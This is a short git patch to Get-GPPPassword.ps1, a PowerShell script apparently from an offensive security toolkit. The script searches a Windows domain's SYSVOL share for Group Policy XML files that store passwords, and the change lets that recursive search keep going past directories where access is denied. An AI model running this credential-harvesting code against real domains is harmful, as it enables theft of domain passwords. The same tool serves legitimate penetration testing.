From c623814116fbefa86576a9d3651c8df59faa12ef Mon Sep 17 00:00:00 2001 From: hajdbo Date: Mon, 12 Aug 2013 12:04:38 +0200 Subject: added ErrorAction SilentlyContinue to Get-ChildItem Sometimes you will have a denied access to a directory. "ErrorAction SilentlyContinue" will continue searching recursively in \SYSVOL even when it encounters a directory where access is denied. --- Exfiltration/Get-GPPPassword.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1 index 7204a45..c905f08 100644 --- a/Exfiltration/Get-GPPPassword.ps1 +++ b/Exfiltration/Get-GPPPassword.ps1 @@ -64,8 +64,8 @@ if (((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False) {throw 'Machine is not joined to a domain.'} if (($Env:USERDNSDOMAIN) -eq $Null) {throw 'Account is not a domain account.'} - #discover potential files containing passwords - $XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -Include 'groups.xml','services.xml','scheduledtasks.xml','datasources.xml' + #discover potential files containing passwords ; not complaining in case of denied access to a directory + $XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'groups.xml','services.xml','scheduledtasks.xml','datasources.xml' foreach ($File in $XMLFiles) { -- cgit v1.2.3